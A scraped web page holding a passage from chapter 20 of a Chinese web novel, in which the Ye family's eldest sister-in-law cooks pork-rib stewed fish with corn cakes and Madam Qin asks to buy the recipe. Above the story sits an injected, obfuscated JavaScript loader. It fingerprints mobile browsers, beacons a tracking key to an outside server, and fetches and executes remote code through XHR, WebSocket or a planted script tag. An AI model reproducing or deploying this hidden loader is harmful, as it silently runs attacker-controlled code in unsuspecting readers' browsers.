第20章 铁锅炖鱼的方子卖不卖?(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“先贴饼子,等饼子好了,就可以吃了!”
她说着,便伸手挖了一块和好的面。
左右手一倒,也不知她怎么弄的,玉米面就在她手里变成了一个圆圆的饼子,被她直接一巴掌糊在了锅沿儿上。
叶大嫂手脚麻利,绕着大铁锅走了一圈儿,铁锅里就像盛开了一朵向日葵般,瞬间绽开了一圈儿黄色的花瓣。
盖上锅盖又焖了一会儿,这下除了刚才的香味之外,里面又开始飘出玉米面饼子熟了的香甜味。
叶大嫂把锅盖掀开一条缝,检查了一下锅边的饼子,发现饼子下面已经开始焦脆,立刻吩咐:“撤火!”
叶昌瑞闻言,立刻用火钳子把锅底还在烧的柴火全都夹出来,丢在一旁地上。
几个小的过去将其一一踩灭。
叶大嫂彻底将锅盖打开,一只手拿着锅铲,一只手蘸着凉水,先将一圈儿已经金黄飘香的饼子铲了下来,逐一放入叶二嫂端着的大盆里。
此时锅里的鱼已经炖得软烂入味,下面的排骨更是酥得快要脱骨。
叶大嫂小心翼翼地盛出两大块完整的鱼身,又添了十几块排骨,最后浇上两大勺汤,再加上几个饼子,先给秦夫人送去。
秦夫人坐在马车里,闻着一阵阵飘来的香味,都快有些坐不住了。
叶大嫂若是还不来送菜,她都想自己下车过去看看了。
“秦夫人,今晚做的是排骨炖鱼,不知道你们会不会爱吃。”
“我闻着香味儿都觉得馋了,怎么会不爱吃。”
叶大嫂送完鱼回去,见一家人都已经围坐在锅边,却谁也没先动筷子。
连几个早就眼巴巴等着吃的孩子,也只是馋地含着筷子。
叶老太太见叶大嫂回来坐下了,这才道:“开饭吧!”
孩子们立刻欢腾起来。
“哦!吃鱼喽!”
“我要吃排骨!”
待叶老太太动过筷子之后,其他人这才开始朝锅里伸筷子。
叶大嫂夹了两块排骨放在碗里晾着,然后夹了块鱼肚子上最好的肉,细细将鱼刺挑干净之后,蘸着汤汁喂给晴天吃。
“好不好吃?”见女儿吃的小嘴巴上都油亮亮的,叶大嫂比自己吃了还高兴。
“好吃!”晴天朝她露出一个大大的笑脸,“娘做饭也太好吃了!”
叶大嫂被女儿夸得心花怒放。
家里其他人也纷纷道。
“大嫂,这次做的铁锅炖鱼格外好吃。”
“比之前在家里做的好吃多了!”
“可不是,大嫂这手艺又进步了。”
叶大嫂笑着谦虚道:“哪里是我进步了,多亏了秦家的调料齐全,不然我再有本事,那也是巧妇难为无米之炊啊!”
郭氏闻言泼冷水道:“大嫂,别人说你胖你就喘啊?这又是排骨又是鱼的,谁做能不好吃?
“再说了,这年头,能填饱肚子就不错了,做那么好吃多给你钱不成?”
叶老太太原本吃得正高兴,听了这话刚准备骂人,就见李福快步走了过来。
“叶大嫂,我家夫人让我过来问问,您这个排骨炖鱼的方子卖不卖?”